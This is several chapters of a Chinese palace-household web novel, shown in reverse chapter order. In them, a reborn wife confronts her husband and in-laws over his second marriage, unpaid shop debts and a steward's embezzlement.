她刚刚的话还没落地呢,大巴掌就朝她呼来了。 真疼! 楚翊安一时却没反应过来,他一听这话就怒了。 “这些奴才一个个当真是贪得无厌,主家好好供养着他们,倒是把他们的胃口给养大了!如此蛀虫不必再留,不然当真是一颗老鼠屎坏了一锅汤。” 姜氏发出一阵呛咳。 陆知苒好险没笑出声来,但她很有涵养地忍住了。 她转而问那传话的婆子,“你说的何管事,是哪个何管事?” 那传话婆子声音比方才弱了不少,“便,便是少夫人您那品香茗茶庄的何管事。” 楚翊安立马朝陆知苒冷嘲热讽,“这就是你挑的人?一个个都是尸位素餐的蛀虫!” 姜氏:“咳咳咳……” 陆知苒低头掩唇,遮住自己怎么都压不住的唇角。 笑够了,她才抬头,一脸认真地提醒。 “不好意思,你弄错了,这位何管事不是我挑的人,是母亲亲自为我挑选的,能力不凡又忠心耿耿,且绝不会中饱私囊的人才。” 楚翊安:…… 他浑似被自己抡了几个大耳光,表情精彩,好半晌都没反应过来。 察觉到陆知苒一直在憋笑,他更是羞愤到了极致。 十分生硬地强行找补,“我方才是听岔了。何管事素来老实本分,怎会手脚不干净?” 陆知苒淡笑,“我也担心其中有什么误解,毕竟,那何管事可是母亲极力推举之人,为人品性不应当这般不堪才是。” 她这话怎么听,怎么像是在反讽。 楚翊安把火气都撒在传话婆子身上,厉声怒喝,“快说,这到底是怎么一回事?” 那传话的婆子吓得一哆嗦,扑通跪下,磕磕绊绊地开口。 “那位贵客本是买了茶叶去孝敬上峰,谋求升迁,但,但收到的却是陈茶,那名贵客非但没办成事,还与上峰结了仇,他气不过,这才报了官。” 楚翊安一改方才的态度,开始维护何管事。 “官府可审出结果来了?若是尚未审出结果,如何就能断定此事是何管事所为?” 传话婆子摇头,“奴婢不知。” 楚翊安似是终于找到了些许底气,“此事光凭一人的一面之词,如何作数?何管事身上究竟干不干净,自有知府大人做出裁断,而不是由那所谓贵客说了算。” 楚翊安怀疑,那所谓贵客根本就是有人刻意安排,只是为了栽赃到何管事的身上罢了。 而会安排这一出戏的人,除了陆知苒,不做他想。 陆知苒不紧不慢地开口,“按时间推算,官府那头的审查结果应当出来了,现在派人去官府一探便知。” 姜氏眼皮一跳。 何管事手脚到底干不干净,她心里比谁都清楚,他可禁不起查! 姜氏正欲推脱身体不适,把此事岔过去,外头就传来了一道通传,“夫人,少夫人跟前的金嬷嬷求见,说是要回禀何管事受审一案。” 陆知苒露出恍然之色,“想来是官府结果这就出来了,谭管事给奶娘递了消息。此事结果如何,传奶娘进来,好好问一问便知。” 姜氏:“不……” 她揉着脑袋正欲装病,楚翊安的声音已然盖过了她。 “把人传进来!” 姜氏:……真是她的好大儿! 金嬷嬷快步入内,朝上首的几位主子行礼。 陆知苒:“奶娘,可是何管事在官府那头的审理有结果了?” 金嬷嬷声音洪亮,“正是。何管事被客人状告以次充好,欺蒙客人,起先他拒不承认,幸而官老爷明察秋毫,派人去他在茶庄的书房搜了一番,这一搜就搜到了不少证据!” “那书房的暗格里头,放着好几本造假的账目,其中所记全是他这些年利用职务之便,中饱私囊,从中牟利的证据。” “知府大人又派人去他的私宅搜查了一番,又从中搜出了不少脏银,足有五千多两!” 第24章 又给我安了什么罪名? 永福居内,姜氏和楚翊安早已等得满肚子火。 姜氏原本只是在装头疼,这会儿是真的被气得头疼了。 “安儿,你也瞧见了,现在陆氏是完全不把我这个母亲放在眼里了。” 楚翊安脸上早已乌云密布,袖中的拳头也握得咯咯作响。 文嬷嬷一副欲言又止的模样,最后还是咬牙开了口。 “大少爷,原本有些话轮不到老奴说,但老奴实在是看不过去了。” 她“扑通”跪下,开始添油加醋地告状。 “这次夫人唤少夫人前来,为的是婚宴采买之事。您有所不知,这三年,侯府大大小小的宴饮,都是从少夫人的铺子上采买酒水,干货和茶叶,为的便是肥水不流外人田,多多照顾少夫人的生意。” “这回侯府便也照例在少夫人的铺子里采买,只是采买数量太多,侯府一时没结清银两,便先记在账上,过几日再把银子补上。这不过是一桩小事,咱们侯府难道还能赖了那点银子不成?” “可少夫人却借此发难,硬是让她手底下的掌柜百般刁难,说什么一手交钱一手交货,这简直是半点不把侯府的颜面放在眼里啊!这些年夫人待少夫人宛若亲生,那是一日规矩都没有让少夫人站过,而今少夫人却如此下夫人的脸,奴婢实在是为夫人感到寒心。” 文嬷嬷说着说着,就开始抹起了眼泪,姜氏更是一副失望到极致的模样。 楚翊安的火气一拱一拱地在胸腔冲撞,直接徒手捏碎了一枚杯盏,“好个陆知苒,她是半点没把我昨夜的话放在心上!她既这般不识好歹,母亲又何必再照应她的生意?咱们侯府换其他铺子采买便是!” 姜氏露出几分难色。 “安儿,侯府的情况你也知晓,一时半会儿也的确拿不出这般多银子,暂时赊欠也是无奈之举。陆氏便是看准了这一点,才会如此刁难。” 楚翊安蹙眉,“书宁不是拿出一大笔银子吗?” 姜氏照例哭穷,“那笔银子听上去多,但真用起来就半点不经用。若是普通宴席也就罢了,但这次咱们邀请到了李家,还有好些以往结交不到的人家,宴席的规格自然与以往不同,不然岂不失了体面?” “侯府的困难只是暂时的,过些时日自然就能把银子补上,陆氏但凡大度点,就不应当在这件大事上存心刁难,她啊,还是咽不下这口气,存心要搅了这场喜宴。” 楚翊安的火气被挑起,他怒而起身,“我这便去当面问问清楚,她到底想怎样!” 一道平静的声音自门口传来,“我来了,你有什么话想问?” 陆知苒脚步不紧不慢,面上神色亦是十分平静,与他们的满脸怒容形成强烈对比。 楚翊安见她依旧如此云淡风轻,气得双目喷火。 “你可知我们等了你多久?” 陆知苒还尚未开口,绿英就捂着红肿的脸,小声啜泣。 “奴婢也担心夫人和大少爷等急了,便出声劝了一句,可少夫人却让下人扇了奴婢一耳光。” 她生得容貌清丽,此时低垂着头,恰到好处地露出一截纤长脖颈,她的语气中更是满含无限委屈,配上那红肿的面颊,分外惹人怜惜。 楚翊安本就怒火中烧,绿英的挑拨成功戳到他的肺管子。 “你当真好大的威风,连母亲身边之人都敢随意打骂!” 绿英低着头,唇角勾起一抹得意的笑。 陆知苒反问,“照你这意思,我这个正头夫人,连教训一个丫鬟的权利都没有?” 楚翊安强调,“她是母亲身边之人。” “这丫鬟借着母亲的势,在我面前吆五喝六,半点规矩都没有,若我不好好教训她,旁人还以为母亲身边之人都如她这般不知规矩,目无尊卑。” 绿英急忙辩解,“大少爷,不是的,奴婢没有……” 陆知苒淡淡一笑,“瞧瞧,主子说话下人一再插嘴,这还不好好教训,以后岂不是连规矩二字都不知道怎么写了?” 楚翊安被怼得一时说不上话来。 姜氏沉着脸,“好了,说正事。” 绿英有些不甘心就这么退下,但被文嬷嬷一记眼刀扫得瑟缩一下,赶紧告退了。 陆知苒气定神闲,“不知母亲唤儿媳前来,所为何事?” 楚翊安轻呵了一声,“你还好意思问?你自己做了什么自己不清楚吗?” 陆知苒:“时不时就会有人往我的头上扣帽子,谁知道这次又给我安了什么罪名?” “你……” 楚翊安深吸了一口气,咬牙切齿地质问,“是不是你让你手底下的管事刁难侯府采买?” 陆知苒一脸疑惑,旋即恍然,“你说的是谭管事不让侯府赊账之事?那确有其事。” 楚翊安冷笑,“你还有什么可狡辩的?你以为使这些不入流的手段,我与书宁的喜宴就会受阻挠吗?你越是如此,便越令我生厌!” 陆知苒自动过滤掉他那些自信发言,只淡淡道:“我没有什么需要狡辩的,这件事我的管事并没有做错,一手交钱,一手交货,不是正常买卖的规矩吗?” 楚翊安的怒气已经快压不住,“侯府家大业大,还会赖掉你的银子不成?这满身铜臭的酸臭味,实在是臭不可闻!” 他们买东西不给银子还有理了? 陆知苒简直气乐了,“既然侯府家大业大,又何必要拖欠我这碎银几两?直接给了不就没这么多事了吗?实在不行,换别家采买便是,兴许别家东家大方,愿意让侯府赊欠。” 楚翊安怒目而视,“若非为了照顾你的生意,你当侯府愿意去你的铺子采买?实在是不知好歹!” 陆知苒语气发冷,“照顾我生意?你不若先替侯府把这三年在我铺子里赊欠的银子还了再说这话!” 还照顾她的生意?到底多厚的脸皮才说得出这么不要脸的话。 她朝一旁的丹烟伸出手,丹烟便把一本账册交到了他的手里。 谭管事做事贴心,方才便把这历年的账目一并送来了。 陆知苒翻看,语气冰冷地念了起来。 “庆历十五年三月,侯府办了一场春日宴,在我的酒铺要了二十坛上好的松苓酒,共计六百两;在我的茶庄要了十包刚上市的顶级碧螺春,共计五百两;在我的干货铺子要了榛、松、桃、杏……” 第23章 小本经营,概不赊欠 楚翊安的眼底闪过一抹异色,他欲盖弥彰般地冷声道:“叫旁人来传话,只怕有些人又要阳奉阴违。话我已带到,你做好准备。我警告你,那日你最好老老实实的,你若敢惹出祸端,我定不轻饶!” 陆知苒的面上笼着一层寒霜。 “多谢厚爱,但大可不必。不然到时候真出了什么幺蛾子,又要赖到我的头上。” 她在这院子里待得舒舒服服的,可不想到前面去看他们做作的表演。 楚翊安看着她,语气重了几分,“这是命令,不是商量,你必须去。” 陆知苒一针见血,“怎么,怕被人戳脊梁骨,所以需要我出席替你装点门面?” 楚翊安被她戳穿意图,脸上闪过一抹羞恼。 “我行得端坐得正,何须你来替我装点门面?我现在还愿意给你体面,你就给我好好接着,不然到时候你可别来求我。” 陆知苒依旧态度平淡,“哦,那你就等着好了,看我到底会不会来求你。” 她这副油盐不进的态度让楚翊安的怒火被彻底点燃。 “陆知苒,不要挑战我的底线!” 他直接撂下威胁,“你若胆敢忤逆我,我就休了你!真成了弃妇,我倒要看看陆家会不会接纳你!” 说完这话,他便一甩袖,愤然离去。 翠芙和丹烟气得红了眼眶,“姑爷他实在是太过分了!” “小姐哪里对不起他了,他要这般羞辱您?” 陆知苒深吸了一口气,压下了胸中的怒意。 “不要再喊他姑爷,很快就不是了。” 这样的人,陆知苒不想与他多一丝交集。 是时候该收网了。 翌日,陆知苒正打算让人给谭叔传话准备收网,不曾想,谭叔那头就先传来了一个消息。 “侯府的采办到咱们铺子里采买婚宴要用的茶叶和酒水,定的数量不少,但却一分钱没给,要赊账。” 以往也没少有这样的情况,但侯府没有哪一回是真的把账补上的,都是陆知苒自己用私产填上。 这样的事侯府做得顺理成章,这一回也没例外,他们也没想过陆知苒会不同意。 以往,谭旭文跟陆知苒提过此事,陆知苒自己不在乎吃这点亏,他便也不再多说。 这一回,谭旭文看出陆知苒对侯府态度的转变,这才第一时间把此事禀报给了她。 陆知苒听完就沉默了。 上辈子,这种冤大头的事情她实在做得太多了,她自己都忘了还有这么一笔账。 侯府这些人固然可恨,但上辈子的自己,也半点不冤枉。 她该。 深吸了一口气,陆知苒调整好心情,对来人吩咐。 “传我的话,咱们店铺小本经营,概不赊欠,一手交钱,一手交货,任何人都不例外。” 这些人,她是一天都不想惯着了。 “另外,告诉谭叔,可以开始收网了。” 姜氏得知此事,定然不会善罢甘休,那她就拿这些人好好地打一打对方的脸。 想赊欠货款,那就先把这些年从自家店铺里贪墨的银子还回来再说! 侯府采买李大牛在陆知苒的几处铺子里碰了钉子,当即第一时间回侯府告状来了。 “夫人,小的无能,您交代的差事,小的没办好。” 李大牛一见到姜氏就磕头认错,一副十分惭愧的模样。 他是姜氏身边的心腹文嬷嬷的丈夫,有文嬷嬷这层关系在,李大牛自然也十分得看重。 姜氏眉头一蹙,“怎么回事?” 李大牛一开始支支吾吾,后面才终于开始讲了起来。 “是,是少夫人身边的管事从中作梗,不让小的赊账,说什么得一手交钱,一手交货,任何人都不能例外。小的搬出夫人您的名头来,但那管事竟然丝毫不买账,说不论是谁,都不能赊账,便是夫人您亲自去也是一样!” 姜氏闻言,面色一沉。 李大牛一边告状,一边偷觑着姜氏的脸色,见她露出怒意,便越发说得义愤填膺。 “咱们侯府是什么地位,夫人又是什么身份?难道还会欠他们几个银子不还吗?那姓谭的可真是小人嘴脸,势利至极!简直是半点不把夫人您放在眼里!” 姜氏越听,脸色就越难看,胸中更是有一团怒火在熊熊燃烧。 文嬷嬷火上浇油,“夫人,此事,若没有旁人授意,那谭管事只怕不敢如此公然驳了侯府的颜面。” 她这话意有所指。 能指使得动谭管事的“旁人”,除了陆知苒又还能有谁? 姜氏抬手,重重拍在桌上。 她高声怒喝,“去把陆氏给我喊来!” 顿了顿,又补了句,“把大少爷也一并请来。” 陆知苒如此行事,无非便是对安儿与赵氏的喜宴耿耿于怀,想要从中作梗,既如此,此事便必须让安儿知情。 她只要还在意安儿,就不可能不在意安儿的态度。 只一刻钟时间,楚翊安便匆匆而来。 他虽分派了差事,但却能在婚期过后再去当值,是以这几日他依旧赋闲在家。 楚翊安不知发生了何事,对姜氏出声询问,姜氏一副气得头疼的模样,“待陆氏来了,让她自己与你说。” 楚翊安一听,又是陆知苒的事,心头火气顿时又冒了起来。 这女人怎的这般爱惹事? 今日天气比昨日更冷了几分,陆知苒便越发懒怠,只窝在房间里哪儿都没去。 外头传来一阵微微吵闹,片刻后,翠芙恼怒地入内,“小姐,夫人果然派人来请您了,多半是为着采买之事。” 陆知苒懒洋洋起身,“该来的总会来。给我梳妆吧。” 陆知苒不紧不慢地换了衣裳,又对发饰挑挑拣拣一番,这才从里间出来。 传话的丫鬟绿英侯在外头,面上已经带出点不耐烦来。 “少夫人且快些吧,都等老半天了。” 陆知苒神色淡淡,“掌嘴。” 翠芙直接上前,抡起手就给了对方一记耳光。 “你算哪根葱,敢在主子面前这般说话?” 翠芙方才就看不惯这小蹄子,一个个都是捧高踩低的势利眼,也不想想以前自家小姐当家的时候给了她们多少好处。 绿英捂着脸,眼底闪过一抹怨愤,但到底不敢发作,只能委委屈屈地低头认错。 “是奴婢逾越了,奴婢也是怕夫人等急了怪罪少夫人。” 陆知苒语气不咸不淡,“我都不怕,你怕什么?倒是劳你替我操心。” 绿英觉得现在的少夫人气势压人,完全不似以前那般柔善好说话了。 她低着头不敢吭声,陆知苒也不再理会她,抬步便往外走。 第22章 他真是眼瞎了 楚定峰却十分坚持,“陆氏必须露面。她等了你三年,你一凯旋便另娶新人,冷落旧人,这让旁人如何看你?陆氏不仅要出席,你还得让她好好待客,绝不可叫旁人挑出你的错处。” 姜氏闻言,顿时没话了。 楚翊安依旧拉不下脸,“女人就不能惯着,我若是对她低头,只怕更会纵得她无法无天。” 楚定峰伸手捋着胡须,“她是在意你,才会在你面前闹脾气。你若不是真心想休了她,就该适当给她一点甜头,吊着她,如此方能维持后院和平。赵书宁一方独大,也并不是什么好事。” 楚翊安面容坚毅,“父亲,我与书宁是真心相爱,我们之间容不得旁的女子。” 楚定峰沉脸怒斥,“糊涂,大丈夫何患无妻?岂可专宠一人?更何况,侯府还需你多多开枝散叶。你必须把陆氏稳住。” 楚翊安抿唇不语,心头对陆知苒的厌恶又添了几分。 楚定峰自然看出儿子的不乐意,但他自有自己的考量。 若陆氏与皇上之事是真,他们侯府就更要好好笼络住陆氏。 皇上不可能做出强夺人妻之事,最多就是暗地里偷偷腥罢了。 只要陆氏的心还在安儿的身上,他们就能通过陆氏从皇上那里讨要好处,所以,安儿必须要把这颗棋子牢牢握在手中。 回到玉笙居,丹烟和翠芙这才委屈地开口。 “以往您待侯爷和夫人多好啊,他们也口口声声说把您当亲生女儿看待,可是现在宁夫人一进门,什么都变了。” “对啊,以往他们那么喜欢您,现在对您却全无半分信任,话里话外全是责难,简直太令人心寒了!” 陆知苒神色平静,“傻姑娘,他们喜欢的哪里是我,分明是我的银子啊。” 这是她花了两辈子才弄明白的真相。 现在再见到他们的这副嘴脸,陆知苒便半点都不生气了。 不值得。 一听她这话,翠芙和丹烟心酸得差点落下泪来,但为免自家小姐伤心,她们只能硬生生地忍了回去。 丹烟抹掉眼角的泪意,“奴婢去给您做宵夜,吃饱了再好好睡一觉,就不难过了。” 翠芙笑话她,“是为了哄小姐高兴,还是你自己嘴馋?” 丹烟面颊微红,伸手去拧她,“不许瞎说。” 如此笑闹一番,方才的沉郁便一扫而空了。 丹烟这个小吃货厨艺的确很好,而且舍得在吃食上花时间精力。 花了小半个时辰,她端上来一碗鳝丝面,乍看上去清汤寡水,但汤底却是白日就炖在灶上的老鸡汤,陆知苒本不饿,但闻着那股鲜香,肚子里的馋虫也被勾了起来。 一碗面下肚,她整个人都舒服了,丹烟自个儿更是吃得肚子都圆了。 稍歇了片刻,金嬷嬷便去备了浴汤,陆知苒舒舒服服地泡起了热水澡。 她趴在浴桶上,翠芙和丹烟一人给她梳头沐发,一人给她擦背按摩。 她后背皮肤一片光洁细腻,如同剥壳的鸡蛋,橘黄的光芒跃动,细小的水珠滚落,润得如含露的玉瓣。 一头如瀑青丝披散,与浑身雪肌形成强烈对比,撞入人眼帘,有种心惊动魄的美。 即便已经看了很多年,翠芙和丹烟依旧不禁感叹。 “小姐,您真美。奴婢要是男子,定要被您迷得走不动道了。” “姑爷看不到您的美,他真是眼瞎了。” 陆知苒淡淡一笑。 她的确生得美,但在楚翊安眼里,却只是个空洞的木头美人,远不及赵书宁英气飒爽。 陆知苒闭目小憩,室内水汽氤氲,她的心弦格外放松,整个人舒服又惬意。 翠芙和丹烟的动作都十分细致温柔,唯恐伤了她半分。 沐浴过后,又给她身上涂抹香膏,用桂花头油润发,一套流程下来,已过了大半个时辰。 陆知苒穿着一袭芙蓉色的里衣,她嫌闷得慌,里面空荡荡的未穿小衣,那身形若隐若现,直叫人瞧了脸红。 金嬷嬷“哎哟”了一声,“您又不穿小衣,待日后年纪大了可就不好看了。” 陆知苒撒娇,“白日穿了一整日勒得慌,晚上就让我松快松快吧。” 金嬷嬷拿来她的小衣比划了一番,“这是又小了,明日奴婢给你再做几身。小姐这身形,可真是一等一的好。” 语气中还带着股难掩的骄傲,陆知苒不禁面色绯红。 她转而问起正事,“奶娘,上回我交代的那株人参,可卖出去了?” 前世的记忆有些模糊,她也不确定邢家老太爷具体发病的时日。 金嬷嬷立马道:“奴婢这就去寻福贵来问问。” 陆知苒本想说不急这一晚,明日再问也来得及,但金嬷嬷已经风风火火地去了。 她小小地打了个哈欠,隐有了困倦之意。 舒舒服服地躺上床准备睡觉,外头就传来了值夜丫鬟有些惊慌错愕的声音。 “姑爷,您,您怎么来了?” 一听到这话,陆知苒立马拥被坐起,浑身的放松彻底消失。 他怎么又来了? 丹烟连忙出去查看情况,翠芙则是赶紧拿来衣裳,待会儿姑爷要是直接闯进来,瞧见自己小姐这副模样可怎么得了? 陆知苒满腹怨气地重新更衣,把自己裹得严严实实的。 懒得梳妆,她直接挽了个简单的发髻,如瀑的长发柔软垂落于胸前,肌肤如珠玉般晶莹白皙,略略看上一眼便让人心神动荡。 她从里间迈步而出,楚翊安的目光不受控制地落在她的身上,鼻尖更是萦绕着一股若有若无的馨香,勾得他心头一阵躁动。 他很快移开视线,脸上也多了几分冷意。 “你便是打扮得再花枝招展,我也不会多看你一眼,休要在我面前耍这样的把戏。” 陆知苒:? “深更半夜不请自来,请问你有何贵干?” 她咬重了“深更半夜”和“不请自来”几个字音,好叫他搞搞清楚这是谁的院子。 楚翊安压下满腹心浮气躁,一副大发慈悲般的语气开口。 “我来是想告诉你,三日后你可以参加我与书宁的喜宴,不必再继续禁足。” 陆知苒差点气笑了,“就这么点事,值得劳动你大半夜的亲自走一趟?” 平白破坏她的好心情! 第21章 人外有人,天外有天 楚定峰心思几转,眉头始终深深蹙着,“那这是怎么一回事?” 陆知苒意有所指,“夫君虽立下不世之功,但这份功劳却已经用在了旁处。” 不就是挑拨离间吗?她也会。 她这话就差直接点赵书宁的名字了。 赵书宁顿时沉了脸,“你这话是什么意思?” 陆知苒眸光沉静,“我没别的意思,只是在与父亲分析此事罢了。一份功劳不可能被一次次消耗,用没了就是没了,皇上眼清目明,他的功劳簿上自有自己的一本账。” 几人脸色各异,心中亦是闪过诸多念头与猜测。 赵书宁狠狠咬牙,“你休想转移话题!无缘无故的,你为何突然去面圣?” 大家的注意力这才被重新拉了回来。 她既然否定此事与她有关,那她面圣究竟是何原由?她是侯府的儿媳妇,可不能做出任何不利于侯府未来之事。 楚定峰眉头紧锁,语气重了几分,“你一介内宅妇人,有什么事需要面圣?” 陆知苒反问,“宁夫人亦是内宅妇人,她可以面圣,为何我不行?” 赵书宁一副被冒犯了的神色,语气鄙夷不屑,“你竟将我与你比较?我有能起死回生的医术,你有什么?” 陆知苒眸光淡淡地看着对方,“这世间并非人人都精通医术,莫不是人人都不如你?需知人外有人,天外有天,宁夫人如此夜郎自大,说出去怕是要惹人笑话。” 陆知苒的话叫赵书宁彻底沉了脸,正待反驳,楚翊安先开了口,“书宁没有说错,你困居内宅,连外头的天地是何模样都不曾见过,有什么资格与书宁比?就算人外有人,那人也不会是你陆知苒。” 又是这般毫不留情的贬低和打压,便如同前世那样。 把她贬到了尘埃里,叫她骨子里都是自卑的味道。 最后,便只能乖乖地任由他们予取予求。 陆知苒露出讥嘲之色,“有些人自诩见识广博,但看人的眼光却是狭隘老旧,自以为是。” 楚翊安脸上的怒意隐现,“你可真是牙尖嘴利。” “怎么,只许你们一人一句地往我身上扎刀子,不许我自辩?” 楚翊安深吸了一口气,“陆知苒,我提醒过你,身为女子,性子当和软些,太过刚硬的只会惹人厌烦。” 陆知苒神色冷傲,“我不需要讨喜,只需要不被人欺到头上。” 上辈子的她还不够和软吗?最后是个什么结局?被吃得连骨头都不剩! 姜氏沉着脸看向陆知苒,眼眸微沉,“我们只是唤你来问两句话,你好好回答便是,何至于像个刺猬似的逮谁扎谁?” 陆知苒从善如流,换了一副皮笑肉不笑的笑脸,“母亲请问,儿媳尽量把刺收一收。” 她这副滚刀肉似的态度让姜氏噎了噎。 压了压脾气,姜氏开口,“你面圣究竟所为何事?你今日必须把此事解释清楚!” 陆知苒一脸歉意的神色,“母亲,并非儿媳不想说,实在是君命在前,儿媳不能说。” 姜氏:“这就是你好好回答的态度?” 陆知苒满脸真诚,“儿媳说的都是实话,若你们实在不信,父亲明日大可入宫,亲自向皇上求证,看看儿媳究竟有没有在御前告夫君的状。” 楚定峰:…… 他便是有十个脑袋,也不敢跑去御前跟皇上对质! 陆知苒笃定这一点,这才敢如此有恃无恐。 一时之间,他们竟是半点拿捏不了她。 楚定峰开口,语气严厉,满含敲打。 “你与安儿是夫妻,你当知道,你们乃一荣俱荣,一损俱损,你若因一己之私,置侯府和安儿的前程于不顾,那侯府断然容不得你。” 楚翊安也冷冷地放出威胁,“一旦被我发现你做了什么不该做的事,我会休了你。” 陆知苒:我好怕哦。 接连对她放出敲打的狠话,他们才大发慈悲地让陆知苒退下。 转身的瞬间,陆知苒眼底的厌烦几乎不加掩饰。 永福居内,气氛也算不得好。 楚定峰看向姜氏,“你不是说陆氏性情乖顺,十分好拿捏吗?今日看来,她分明桀骜难驯,目中无人。” 姜氏也十分恼怒,“是我看走眼了,以前她的乖顺定是装出来的。” 楚翊安眸光幽沉,“她的外表的确很有欺骗性,谁都不知道她会是这样的人,母亲会被她蒙骗也在情理之中。” 赵书宁听了这话,心里莫名不舒服。 “你是说她的脸吗?她的确有魅惑人心的资本。” 这话尖酸刻薄,更带着股充满恶意的揣度。 楚翊安脑中不可抑制地闪过她的脸,眸色微深。 他冷冷道:“娶妻当娶贤,只有那等低贱侍妾,才会以色侍人。” 姜氏也跟着道:“当初就不该聘她为妇,这段时日我被她气得,怕是要少活两年。” 楚定峰没有言语,他神色莫测,赵书宁的话让他联想到了其他。 此前因愤怒而忽略的细节问题浮现了出来。 陆知苒如何能随随便便面圣?皇上日理万机,岂是一般人想见就能见的?便是楚定峰自己,除了早朝,都轻易没有面圣的机会。 此乃其一。其二,她便是面圣了,皇上又怎会随随便便受她蛊惑,去打压一个刚刚立下战功的年轻将领?那可是九五之尊,岂会被一个女子牵着鼻子走? 除非,皇上对这女子另眼相待。 陆知苒浑身上下,值得一国之君另眼相待的,除了那张脸,便再无其他。 楚定峰暗暗在心中盘算,此事,未必是坏事,端看如何筹谋运作了。 若是运转好了,或许能给侯府带来泼天富贵也不一定。 楚定峰随便找了个借口,把赵书宁打发了。 楚翊安以为父亲要与他说自己差事之事,却不想,他张口就道:“三日后的婚宴,你让陆氏一道出席。” 此言一出,楚翊安立马反对,“父亲,这怎么能行!那日是我与书宁大婚,岂能叫她出来搅局?” 那女人如此善妒不容人,怎会乖乖看着自己和书宁大婚?她定会暗中使一些不入流的手段。 姜氏也附和,“侯爷,安儿的担忧的确在理。这次咱们侯府请到的可都是有头有脸的贵客,可万不能出纰漏。” 最近陆知苒不似以往那般乖乖听话,这让姜氏心里很是不痛快,自是也不想给她脸。 就让她禁足在后院黯然神伤吧!也算是给她的一点小小的教训。 第20章 真是祸家之源 心情烦闷地回到侯府,他就第一时间被传去了永福居。 难得的,今日宣平侯楚定峰也在,赵书宁亦随侍在旁,几人脸上都满是笑意。 请安过后,姜氏便迫不及待地开口,“有个好消息,李家接了侯府的请帖,届时李大人与李夫人会亲自赴宴来给你们贺喜。” 姜氏口中的李大人与李夫人,乃是李贵妃的兄嫂,也是李家现在的当家人。 李大人李明远官居二品,乃是内阁学士,李夫人郑氏亦是高门出身,李贵妃所出的六皇子更是太子热门人选,李家可谓是真正的勋贵之家,换作以往,宣平侯府是半点攀上李家的机会都没有。 而今他们终于与李家搭上线,楚定峰和姜氏自然高兴。 听到这个好消息,楚翊安烦闷的心情终于好转,他看向赵书宁的眼神满含温柔。 “这一切,都是书宁的功劳。” 楚定峰捋着短须,看着赵书宁的眼神亦是充满赞赏,“赵氏,此次你为侯府立了大功,安儿娶你入门算是娶对了。” 姜氏也笑着附和,“正是,当初我第一眼瞧见你这孩子便觉得你有旺家之相,你果然没叫我们失望。” 姜氏此时这番话说得可谓真心实意。 赵书宁在宫中当差,与贵人结交的机会大了去了,日后她再多立几个功劳,侯府何愁没有出头之日? 楚定峰的想法与姜氏如出一辙,他更在心中自得,自己当初便是看出赵书宁前途不凡,这才默许了儿子请封诰命之举,而今看来,自己果然有远见。 二人的态度让赵书宁很是受用,她的唇角不自觉高高扬起,心中满是自得。 “父亲,母亲,儿媳只是做了自己应尽之事,能为侯府争光是儿媳的荣幸。” 姜氏笑得慈和,“真是好孩子,要是你早些入门该多好啊。” 这话意有所指,赵书宁又像是被喂了一颗甜枣,心中那股被看重的优越感膨胀到了极点。 若她早些入门,哪儿还有陆知苒什么事? 只可惜,世事弄人。 楚定峰话锋一转,“安儿,为父听说,你的差事定下来了?” 楚翊安点头,语气沉缓,“儿子调任去了军屯卫所,任步军统领。” 楚定峰的眉头立马蹙了起来,“你乃此战首功,为何只得了这么个差事?” 赵书宁脸上的笑意也沉下去几分。 楚翊安抿唇不语,姜氏想到自己儿子原本一片光明的好前途平白被毁了,心里就一阵阵心痛。 她咬牙切齿地开口,“侯爷您不知道,此事全是陆氏所为!” 这几日,赵书宁又在姜氏面前上了一番眼药,姜氏笃定陆知苒当日入宫是去向皇上告状了。 楚定峰面色一沉,“这是怎么一回事?” 姜氏:“她前段时日入宫了,定是她在皇上面前告了安儿的状,皇上这才只给安儿派了这么个差事。” 楚定峰心头升起怒火,“竟有此事?” “此事乃书宁在宫中打探到的,岂会有假?我本以为陆氏是个懂事的,殊不知竟是这般小家子气,半点容人之量都无,还把事情闹到皇上跟前,这让皇上如何看待你,如何看待我们侯府?” 这话说得有歧义,但赵书宁也不曾解释,因为她也认定此事与陆知苒有关。 “都说娶妻娶贤,侯府娶了这么个搅家精,当真是家门不幸!真该把她休了!” 赵书宁眼神微闪。 若陆知苒当真被休了,那自己就是侯府未来唯一的女主人了。 赵书宁把这话当了真,殊不知姜氏不过是故意说给她听罢了。 陆知苒嫁妆丰厚,亲爹又是从三品的户部侍郎,这些都是赵书宁这个孤女不能比的。 她儿子有两房正妻,两边都能提供助力,为何要做二选一的亏本买卖? 楚定峰大掌在桌上重重一拍。 “真是岂有此理,她乃楚家妇,竟这般不识大体,背刺夫家,真是祸家之源!来人,把陆氏给我带来,她若是不给出一个交代,我楚家定容不下她!” 见到父亲发了雷霆之怒,楚翊安也不曾出言制止。 那女人的确应该好好敲打教训一番,不然她连自己冠谁的姓都忘了。 玉笙居。 陆知苒收到了下人的传话,她以禁足为由搪塞,但对方却态度强硬,“少夫人,奴婢是奉了侯爷之命来请您,您还是随奴婢去一趟为好。” 陆知苒心中闪过一抹诧异。 两辈子,她与这位公爹都甚少交道,他为何突然传唤自己? 陆知苒入内更衣,金嬷嬷便笑着拿出一个颇有分量的荷包,塞给了进来传唤的嬷嬷。 “老姐姐,这是一点子小心意,你且拿去吃酒。” 那嬷嬷假意推辞了一番,这才收进了袖中,脸上也多了几分松动。 “少夫人掌家之时待我们这些下人素来宽厚,奴婢也念着少夫人的好。今日除了侯爷,大公子和宁夫人也在,好似是为了大公子差事之事起了些争执。” 待陆知苒收拾妥当,金嬷嬷便将自己打探到的消息低声与她耳语了一番。 金嬷嬷忧心忡忡,“多半是大少爷分派下来的差事不好,侯爷和夫人对此不满,又有那宁夫人从旁煽风点火,愈发认定是您在皇上跟前告了状。您这一趟,怕是要被为难了。” 陆知苒的面色却颇为平静,“我被为难得还少吗?也不差这一桩。” 金嬷嬷听了,简直心疼死了,越发觉得这侯府不是人待的地方。 此时已是深秋,天气终于不再闷热,慢慢透出点凉意。 因前次落水,陆知苒有些畏寒,穿着一袭茜素青色的掐花对襟外裳,头上簪得一支翠绿玉簪,整个人透着股水墨般雅致深远的韵味,既不张扬,也不黯淡,恰到好处的光彩。 她迈步而入的瞬间,立马吸引了所有人的目光。 楚翊安的眸底闪过一抹惊艳,但想到上次在玉笙居受的嘲讽,羞恼涌上心头,眸底情绪添了几分厌恶。 给上首之人请了安,陆知苒方问,“不知父亲母亲唤儿媳前来所为何事?” 楚定峰面色冷肃,目光威严,“我听说前些时日,你入宫面圣了?此等大事,为何从未听你提起?” 一双眸子紧紧落在她的身上,若她心虚,脸上必然会现出端倪。 陆知苒缓缓开口,“父亲恕罪,并非儿媳有意隐瞒,只因儿媳面圣之事另有内情,不便公之于众。” 他们显然对这个回答不满。 